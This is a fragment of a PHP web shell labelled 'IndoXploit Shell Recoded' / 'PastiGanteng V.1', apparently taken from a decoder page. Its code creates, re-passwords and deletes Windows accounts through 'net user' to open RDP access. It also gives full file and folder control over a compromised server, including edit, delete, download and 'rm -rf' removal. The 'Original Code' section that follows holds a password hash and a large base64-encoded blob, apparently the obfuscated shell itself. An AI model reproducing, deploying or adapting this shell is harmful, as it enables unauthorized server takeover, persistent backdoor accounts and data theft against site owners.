					echo "[ <font color=red>belum ada</font> ]";
				}
			} elseif($_POST['opsi'] == '2') {
				$cek = exe("net user $user indoxploit");
				if(preg_match("/$user/", exe("net user"))) {
					echo "[change password: <font color=lime>indoxploit</font>] -> ";
					if($cek) {
						echo "<font color=lime>Berhasil</font>";
					} else {
						echo "<font color=red>Gagal</font>";
					}
				} else {
					echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
				}
			} elseif($_POST['opsi'] == '3') {
				$cek = exe("net user $user /DELETE");
				if(preg_match("/$user/", exe("net user"))) {
					echo "[remove user: <font color=lime>$user</font>] -> ";
					if($cek) {
						echo "<font color=lime>Berhasil</font>";
					} else {
						echo "<font color=red>Gagal</font>";
					}
				} else {
					echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
				}
			} else {
				//
			}
		} else {
			echo "-- Create RDP --<br>
			<form method='post'>
			<input type='text' name='user' placeholder='username' value='indoxploit' required>
			<input type='text' name='pass' placeholder='password' value='indoxploit' required>
			<input type='submit' name='create' value='>>'>
			</form>
			-- Option --<br>
			<form method='post'>
			<input type='text' name='r_user' placeholder='username' required>
			<select name='opsi'>
			<option value='1'>Cek Username</option>
			<option value='2'>Ubah Password</option>
			<option value='3'>Hapus Username</option>
			</select>
			<input type='submit' name='s_opsi' value='>>'>
			</form>
			";
		}
	} else {
		echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
	}

} elseif($_GET['do'] == 'contact') {

	echo "<center><div style='color: #fff; background: #333; width: 350px; height: 85px; padding-top: 25px; border: 1px #333; border-radius: 3px;'><span'> E-mail : [email protected] <br> FB : facebook.com/bukanyimyam </span></div></center>";

} elseif($_GET['act'] == 'newfile') {
	if($_POST['new_save_file']) {
		$newfile = htmlspecialchars($_POST['newfile']);
		$fopen = fopen($newfile, "a+");
		if($fopen) {
			$act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
		} else {
			$act = "<font color=red>permission denied</font>";
		}
	}
	echo $act;
	echo "<form method='post'>
	Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
	<input type='submit' name='new_save_file' value='Submit'>
	</form>";
} elseif($_GET['act'] == 'newfolder') {
	if($_POST['new_save_folder']) {
		$new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
		if(!mkdir($new_folder)) {
			$act = "<font color=red>permission denied</font>";
		} else {
			$act = "<script>window.location='?dir=".$dir."';</script>";
		}
	}
	echo $act;
	echo "<form method='post'>
	Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
	<input type='submit' name='new_save_folder' value='Submit'>
	</form>";
} elseif($_GET['act'] == 'rename_dir') {
	if($_POST['dir_rename']) {
		$dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
		if($dir_rename) {
			$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
		} else {
			$act = "<font color=red>permission denied</font>";
		}
	echo "".$act."<br>";
	}
	echo "<form method='post'>
	<input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
	<input type='submit' name='dir_rename' value='rename'>
	</form>";
} elseif($_GET['act'] == 'delete_dir') {
	if(is_dir($dir)) {
		if(is_writable($dir)) {
			@rmdir($dir);
			@exe("rm -rf $dir");
			@exe("rmdir /s /q $dir");
			$act = "<script>window.location='?dir=".dirname($dir)."';</script>";
		} else {
			$act = "<font color=red>could not remove ".basename($dir)."</font>";
		}
	}
	echo $act;
} elseif($_GET['act'] == 'view') {
	echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
	echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
} elseif($_GET['act'] == 'edit') {
	if($_POST['save']) {
		$save = file_put_contents($_GET['file'], $_POST['src']);
		if($save) {
			$act = "<font color=lime>Saved!</font>";
		} else {
			$act = "<font color=red>permission denied</font>";
		}
	echo "".$act."<br>";
	}
	echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
	echo "<form method='post'>
	<textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
	<input type='submit' value='Save' name='save' style='width: 500px;'>
	</form>";


} elseif($_GET['act'] == 'rename') {
	if($_POST['do_rename']) {
		$rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
		if($rename) {
			$act = "<script>window.location='?dir=".$dir."';</script>";
		} else {
			$act = "<font color=red>permission denied</font>";
		}
	echo "".$act."<br>";
	}
	echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
	echo "<form method='post'>
	<input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
	<input type='submit' name='do_rename' value='rename'>
	</form>";
} elseif($_GET['act'] == 'delete') {
	$delete = unlink($_GET['file']);
	if($delete) {
		$act = "<script>window.location='?dir=".$dir."';</script>";
	} else {
		$act = "<font color=red>permission denied</font>";
	}
	echo $act;
} else {
	if(is_dir($dir) === true) {
		if(!is_readable($dir)) {
			echo "<font color=red>can't open directory. ( not readable )</font>";
		} else {
			echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
			<tr>
			<th class="th_home"><center>Name</center></th>
			<th class="th_home"><center>Type</center></th>
			<th class="th_home"><center>Size</center></th>
			<th class="th_home"><center>Last Modified</center></th>
			<th class="th_home"><center>Owner/Group</center></th>
			<th class="th_home"><center>Permission</center></th>
			<th class="th_home"><center>Action</center></th>
			</tr>';
			$scandir = scandir($dir);
			foreach($scandir as $dirx) {
				$dtype = filetype("$dir/$dirx");
				$dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
				if(function_exists('posix_getpwuid')) {
					$downer = @posix_getpwuid(fileowner("$dir/$dirx"));
					$downer = $downer['name'];
				} else {
					//$downer = $uid;
					$downer = fileowner("$dir/$dirx");
				}
				if(function_exists('posix_getgrgid')) {
					$dgrp = @posix_getgrgid(filegroup("$dir/$dirx"));
					$dgrp = $dgrp['name'];
				} else {
					$dgrp = filegroup("$dir/$dirx");
				}
 				if(!is_dir("$dir/$dirx")) continue;
 				if($dirx === '..') {
 					$href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
 				} elseif($dirx === '.') {
 					$href = "<a href='?dir=$dir'>$dirx</a>";
 				} else {
 					$href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
 				}
 				if($dirx === '.' || $dirx === '..') {
 					$act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
 					} else {
 					$act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
 				}
 				echo "<tr>";
 				echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
				echo "<td class='td_home'><center>$dtype</center></td>";
				echo "<td class='td_home'><center>-</center></th></td>";
				echo "<td class='td_home'><center>$dtime</center></td>";
				echo "<td class='td_home'><center>$downer/$dgrp</center></td>";
				echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
				echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
				echo "</tr>";
			}
		}
	} else {
		echo "<font color=red>can't open directory.</font>";
	}
		foreach($scandir as $file) {
			$ftype = filetype("$dir/$file");
			$ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
			$size = filesize("$dir/$file")/1024;
			$size = round($size,3);
			if(function_exists('posix_getpwuid')) {
				$fowner = @posix_getpwuid(fileowner("$dir/$file"));
				$fowner = $fowner['name'];
			} else {
				//$downer = $uid;
				$fowner = fileowner("$dir/$file");
			}
			if(function_exists('posix_getgrgid')) {
				$fgrp = @posix_getgrgid(filegroup("$dir/$file"));
				$fgrp = $fgrp['name'];
			} else {
				$fgrp = filegroup("$dir/$file");
			}
			if($size > 1024) {
				$size = round($size/1024,2). 'MB';
			} else {
				$size = $size. 'KB';
			}
			if(!is_file("$dir/$file")) continue;
			echo "<tr>";
			echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
			echo "<td class='td_home'><center>$ftype</center></td>";
			echo "<td class='td_home'><center>$size</center></td>";
			echo "<td class='td_home'><center>$ftime</center></td>";
			echo "<td class='td_home'><center>$fowner/$fgrp</center></td>";
			echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
			echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
			echo "</tr>";
		}
		echo "</table>";
		if(!is_readable($dir)) {
			//
		} else {
			echo "<hr>";
		}
	echo "<center>Copyright &copy; ".date("Y")." - <font color=lime>Security Cyber Art</font> - IndoXploit Shell Recoded by <font color=lime>Xmall75</font></center>";
}
?>
</html>

Did this file decode correctly?

Original Code

<?php

// Xmall75 - Security Cyber Art
// PastiGanteng V.1 Shell
// Remake and Recode from IndoXploit Shell
// Thanks to IndoXploit, XaiSyndicate, GantengersCrew, GarudaSecurityHacker, PhantomGhost, N45HT, and others.


$auth_pass = "dacffae94acdb77294f2033ce4f23ead"; // password : PastiGanteng
$pastiganteng = "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